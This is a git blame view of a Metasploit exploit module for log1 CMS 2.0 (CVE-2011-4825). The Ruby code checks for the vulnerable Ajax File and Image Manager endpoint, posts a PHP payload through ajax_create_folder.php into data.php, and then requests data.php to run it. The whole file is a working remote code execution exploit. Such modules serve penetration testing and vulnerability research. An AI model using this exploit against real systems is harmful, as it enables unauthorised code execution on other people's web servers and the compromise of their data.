Files
metasploit-gs/modules/exploits/multi/http/log1cms_ajax_create_folder.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

102 lines
2.8 KiB
Ruby
Raw Normal View History

2012-06-01 18:45:44 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-01 18:45:44 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-06-01 18:45:44 -05:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "Log1 CMS writeInfo() PHP Code Injection",
'Description' => %q{
2012-06-01 18:45:44 -05:00
This module exploits the "Ajax File and Image Manager" component that can be
2025-06-20 13:20:44 +01:00
found in log1 CMS. In function.base.php of this component, the 'data' parameter
in writeInfo() allows any malicious user to have direct control of writing data
to file data.php, which results in arbitrary remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'EgiX', # Found the bug in ajax_create_folder.php
'Adel SBM', # Found log1 CMS using the vulnerable ajax_create_folder.php
'sinn3r' # Metasploit
2012-06-01 18:45:44 -05:00
],
2025-06-20 13:20:44 +01:00
'References' => [
2012-06-01 18:45:44 -05:00
['CVE', '2011-4825'],
['OSVDB', '76928'],
2025-06-20 13:20:44 +01:00
['EDB', '18075'], # Egix's advisory
['EDB', '18151'] # Adel's
2012-06-01 18:45:44 -05:00
],
2025-06-20 13:20:44 +01:00
'Payload' => {
2012-06-01 18:45:44 -05:00
'BadChars' => "\x00"
},
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
2012-06-01 18:45:44 -05:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
2012-06-02 01:49:43 -05:00
['log1 CMS 2.0', {}],
2012-06-01 18:45:44 -05:00
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'DisclosureDate' => '2011-04-11',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2012-06-01 18:45:44 -05:00
register_options(
[
2012-06-02 01:49:43 -05:00
OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])
2025-06-20 13:20:44 +01:00
]
)
2012-06-01 18:45:44 -05:00
end
def check
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
2012-06-01 18:45:44 -05:00
uri << '/' if uri[-1, 1] != '/'
res = send_request_raw({
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php")
2012-06-01 18:45:44 -05:00
})
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
2012-06-01 18:45:44 -05:00
uri << '/' if uri[-1, 1] != '/'
peer = "#{rhost}:#{rport}"
php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|
2016-02-01 15:12:03 -06:00
print_status("Sending PHP payload (#{php.length.to_s} bytes)")
2012-06-01 18:45:44 -05:00
send_request_cgi({
'method' => 'POST',
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php"),
'data' => php
2012-06-01 18:45:44 -05:00
})
2016-02-01 15:12:03 -06:00
print_status("Requesting data.php")
2012-06-01 18:45:44 -05:00
send_request_raw({
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(uri, 'admin/libraries/ajaxfilemanager/inc/data.php')
2012-06-01 18:45:44 -05:00
})
handler
end
2014-06-17 21:03:18 +02:00
end